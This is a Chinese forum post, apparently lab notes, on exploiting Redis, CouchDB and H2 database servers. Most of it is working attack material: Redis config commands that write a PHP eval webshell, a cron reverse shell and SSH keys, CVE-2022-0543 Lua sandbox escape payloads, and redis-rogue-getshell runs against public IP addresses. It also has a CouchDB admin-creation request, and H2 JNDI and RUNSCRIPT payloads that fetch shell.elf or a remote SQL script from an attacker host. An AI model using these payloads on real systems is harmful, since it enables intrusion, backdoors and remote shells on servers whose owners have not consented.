服务攻防_01数据库安全Redis&Couchdb&H2database

打印 上一主题 下一主题

主题 996|帖子 996|积分 2988

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x
一、数据库-Redis-未授权RCE&CVE

1、未授权访问:CNVD-2015-07557

(1)漏洞描述

Redis默认环境下会绑定在6379端口
如果没有采取相干策略(如添加防火墙规则制止非信任泉源IP访问),会将Redis袒露在公网上;如果没有设置暗码认证(一样平常为空)的环境下,会导致任意用户在可以访问目的服务器的环境下未授权访问Redis以及读取Redis的数据。
攻击者在未授权访问Redis的环境下可以利用Redis的相干方法,可以成功将本身的公钥写入目的服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目的服务器。
(2)影响危害

 易受攻击对象:Redis linux环境 对公网开放 未启用认证 以root方式启动(非必需)
现象


  • Redis被实行过flushall命令进行清空
  • Redis内新建crackit的key
  • Redis的dir参数被指向/root/ssh文件夹
  • /root/.ssh目次下生成authoriz_keys文件(或覆盖现有的)
(3)环境搭建

靶机:ubuntu 192.168.1.111
安装redis服务器(redis-server)
  1. wget http://download.redis.io/releases/redis-4.0.10.tar.gz
复制代码
解压,进入源码目次,然后编译(make、make install)
  1. tar  -zxvf redis-4.0.10.tar.gz
  2. cd redis-4.0.10
  3. make
  4. make install
复制代码

启动redis-server,注意关闭ubuntu的 防火墙iptables and ufw

检察是否启用了redis-server
  1. ps -ef |grep redis-server
复制代码


攻击机:kali 192.168.1.110
kali安装安装redis客户端(redis-cli)
  1. wget http://download.redis.io/releases/redis-3.2.0.tar.gz
  2. tar xzf redis-3.2.0.tar.gz
  3. cd redis-3.2.0
  4. make
  5. make install
复制代码
测试redis客户端毗连

漏洞利用须知:
   必须在非保护模式下才有大概利用这个漏洞,如果在保护模式下即使访问了redis也是无法实行命令的,如下图所示
  

  Redis处于保护模式,只能本地链接,我们需要修改配置文件../redis.conf
  vim redis.conf
  # bind 127.0.0.1
protected-mode no
  修改redis配置文件后需要重新启动redis
  1. redis-server redis.conf
复制代码

  然后重新测试redis毗连
  

  redis常见命令
  
  1. redis-cli -h 192.168.1.111                   #远程连接redis::
  2. 192.168.1.111:6379> info                     #查看redis版本信息、服务器版本信息等
  3. 192.168.1.111:6379> CONFIG GET dir           #获取默认的redis目录
  4. 192.168.1.111:6379> CONFIG GET dbfilename    #获取默认的rdb文件名
  5. 192.168.1.111:6379> set x “test”             #将变量x的值设为test
  6. 192.168.1.111:6379> get x                    #获取变量x的值
复制代码
(4)漏洞复现

Type1:写入webshell

前提条件:
   1.目的有web网站 
  2.知道网站根目次绝对路径(可以利用phpinfo大概错误暴路径等)。
  3.对目的网站根目次有写入权限。
  获取网站路径方法https://www.cnblogs.com/endust/p/12132374.html
   漏洞利用:
     
  1. config set dir /tmp #设置WEB写入目录
  2. config set dbfilename 1.php #设置写入文件名
  3. set test "<?php phpinfo();?>" #设置写入文件代码
  4. bgsave #保存执行
  5. save #保存执行
复制代码
  

  • 目的有网站,使用的是xampp,xampp网站默认路径/opt/lampp/htdocs
   

  
  1. 192.168.1.111:6379> config set dir /opt/lampp/htdocs
  2. OK
  3. 192.168.1.111:6379> config set dbfilename 1.php
  4. OK
  5. 192.168.1.111:6379> set test "<?php phpinfo();?>"
  6. OK
  7. 192.168.1.111:6379> bgsave
  8. Background saving started
  9. 192.168.1.111:6379> save
  10. OK
  11. 192.168.1.111:6379>
复制代码
  

  • 欣赏器访问http://192.168.1.111/1.php ,发现目的靶机成功写入1.php
   

   
set x "\n\n\n<?php @eval($_POST['cc']);?>\n\n\n"

   

  • 打开蚁剑毗连这个webshell
   

   

Type2:写定时任务反弹shell

  1. config set dir /var/spool/cron
  2. set yy "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.1.110/5555 0>&1\n\n\n"
  3. config set dbfilename x
  4. save
复制代码

客户机监听5555端口,反弹shell未成功


Type3:写入Linux ssh-key公钥

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,
然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys
把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key
起首在攻击机(kali)上生成ssh公钥

 将公钥写入foo.txt文件
  1. (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
复制代码

   
再把key.txt文件内容写入redis缓冲

  
cat key.txt | redis-cli -h 192.168.1.111 -x set xxx

  

  
设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys
注意: redis 可以创建文件但无法创建目次,以是,redis 待写入文件地点的目次必须事先存在。
这里是因为目的靶机不存在.ssh目次(默认没有,需要生成公、私钥大概创建ssh毗连时才会生成)

  

目的使用ssh服务毗连其他服务器后,会自动 产生.ssh目次
经测试必须是目的服务器通过ssh毗连其他服务器,目的服务器才会产生./ssh目次。若是其他服务器自动ssh毗连目的服务器,则目的服务器不产生.ssh目次。

 测试是否可以通过ssh登录目的服务器,成功登录


Tyep4:自动化工具

redis-rogue-serverTyep4:自动化工具redis-rogue-server
   
编译工具:

  1. cd RedisModulesSDK/exp/
  2. make
复制代码
 工具利用:
  1. ./redis-rogue-server.py --rhost 127.0.0.1 --lhost 127.0.0.1
复制代码
 vulfocus靶场实验:

漏洞利用

 交互模式:

反弹模式:反弹shell未成功

学习参考: Redis 攻击方法总结(三)-阿里云开辟者社区
2、未授权访问-CNVD--2019-21763

(1)漏洞描述

由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的环境下使被攻击服务器加载恶意.so 文件,从而实现长途代码实行。

(2)漏洞利用

工具:https://github.com/vulhub/redis-rogue-getshell

  1. #Windows下载工具zip包上传至服务器
  2. #解压
  3. unzip redis-rogue-getshell-master.zip
  4. #编译
  5. cd redis-rogue-getshell-master
  6. cd RedisModulesSDK/
  7. make
复制代码
 编译后会生成.so文件

 检察帮助
  1. python3 redis-master.py -h
复制代码
 命令实行:
  1. python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
复制代码
  1. python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "id"
复制代码

同样可以实行其他命令,如
  1. #查看当前路径
  2. python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "pwd"
  3. #查看当前用户名
  4. python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "whoami"
  5. #查看tmp目录下的所有文件和文件夹
  6. python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "ls /tmp"
复制代码
   3、沙箱绕过RCE-CVE-2022-0543

  (1)漏洞简介

  Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的API。Redis 存在代码注入漏洞,攻击者可利用该漏洞长途实行代码。
  (2)漏洞 利用

  
Poc:实行id命令

  
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

  实行pwd命令、ls命令
  1. #执行pwd命令
  2. eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("pwd", "r"); local res = f:read("*a"); f:close(); return res' 0
  3. #执行ls命令
  4. eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /tmp", "r"); local res = f:read("*a"); f:close(); return res' 0
复制代码

 

实战中有没有这个漏洞呢?
 FOFA语法搜一下





二、数据库-Couchdb-未授权RCE&CVE

   

  1、Couchdb 垂直权限绕过(CVE-2017-12635)

  (1)漏洞描述

  
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其交际平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露利用。

  
Apache CouchDB 1.7.0之前的版本和2.1.1之前的2.x版本中存在安全漏洞,该漏洞源于基于rlang的JSON解析器和基于JavaScript的JSON解析器之间存在差异。攻击者可利用该漏洞访问任意的shell命令或获取管理员权限。

     
#数据库应用-Couchdb-未授权越权&CVE漏洞

   
默认端口:5984

   

   

    (2)漏洞利用

  
1、先创建用户

     
修改数据包

   
PUT /_users/org.couchdb.user:xiaodi HTTP/1.1

   
{

   
"type": "user",

   
"name": "xiaodi",

   
"roles": ["_admin"],

   
"roles": [],

   
"password": "xiaodi"

   
}

   

  
2、登录用户授权

  
Get:/_utils/

  
xiaodi xiaodi

  

  

  

  2、Couchdb 命令实行 (CVE-2017-12636)

  (1)漏洞描述

  Apache CouchDB是美国阿帕奇(Apache)软件基金会一个免费、开源、面向文档的数据库,是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。
  Apache CouchDB 1.7.0之前的版本和2.1.1之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞实行任意的shell命令(包括:从公共网络上下载和实行脚本)。
  (2)漏洞利用

  

  
默认端口是5984

  
fofa也可以搜

  
port=“5984”

  
就全是 couchDB的数据库

  

  
exp利用

  
1、下载exp.py

  
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

  
2、修改目的和反弹地点

  

  
3、Python3调用实行即可

  
实行之前在攻击主机实行监听:

  1. nc -lvvp 9999
复制代码

  

  三、数据库-H2database-未授权RCE&VCVE

(1)漏洞描述

Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于欣赏器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许长途攻击者通过包含子字符串的jdbc:h2:mem JDBC URL实行任意代码。
(2)漏洞利用

   
默认端口:20051(实战中端口是有 大概更改的)

  

  
有些 网站也有大概是8082和9082,照旧需要通过一些其他的特征来判定。

  

  
H2database控制端,如果看到这个界面说明是H2database,一个java应用数据库。

  

  
安全问题:在2.1.210版本 之前的H2控制台包含Jdbc的 攻击。

  
网上 利用方案就是利用JNDI注入

  
H2database-未授权访问漏洞复现_h2 database connection-CSDN博客

  
在攻击机上启动JNDI服务:

     下载JNDI-Injection-Exploit
   https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
  
  1. wget https://github.com/welk1n/JNDI-Injection-Exploit
复制代码
  生成实行RMI Payload-URL
  
  1. java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 49.232.220.95
  2. #-A 参数后是攻击机IP地址
复制代码
   

  
javax.naming.InitialContext

  

  

  
其他复现思路:

  
使用JNDI工具生成RMI利用链,实行命令下载后门文件

  1. java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch "wget http://x.x.x.x/shell.elf" -A 攻击机IP地址
复制代码
填入URL提交实行,点击毗连
  下载后门之后,给木马文件加实行权限(照旧和上面同样的方式)
  1. java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch "chmod 777 shell.elf" -A 攻击机IP地址
复制代码
靶场地点有加载rmi url就说明实行了,末了再实行 后门。

  
1、未授权进入:

  
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

  

  

  
2、RCE实行反弹:

  
-创建数据库文件:h2database.sql

  1. CREATE TABLE test (
  2. id INT NOT NULL
  3. );
  4. CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
  5. Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
  6. #反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1
复制代码
-启动提供SQL文件长途加载服务

  
利用python搭建web服务

  
python3 -m http.server 端口

  
实验访问python搭建的web服务

  

  
-填入Payload使其加载长途SQL

  1. jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:端口/h2database.sql';\
复制代码
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://49.232.220.95:9999/fuckh2database.sql';

  

  
http://49.232.220.95:9999/fuckh2database.sql

  
nc监听反弹shell端口

  
nc -lvvp xxxx

   


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

万有斥力

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表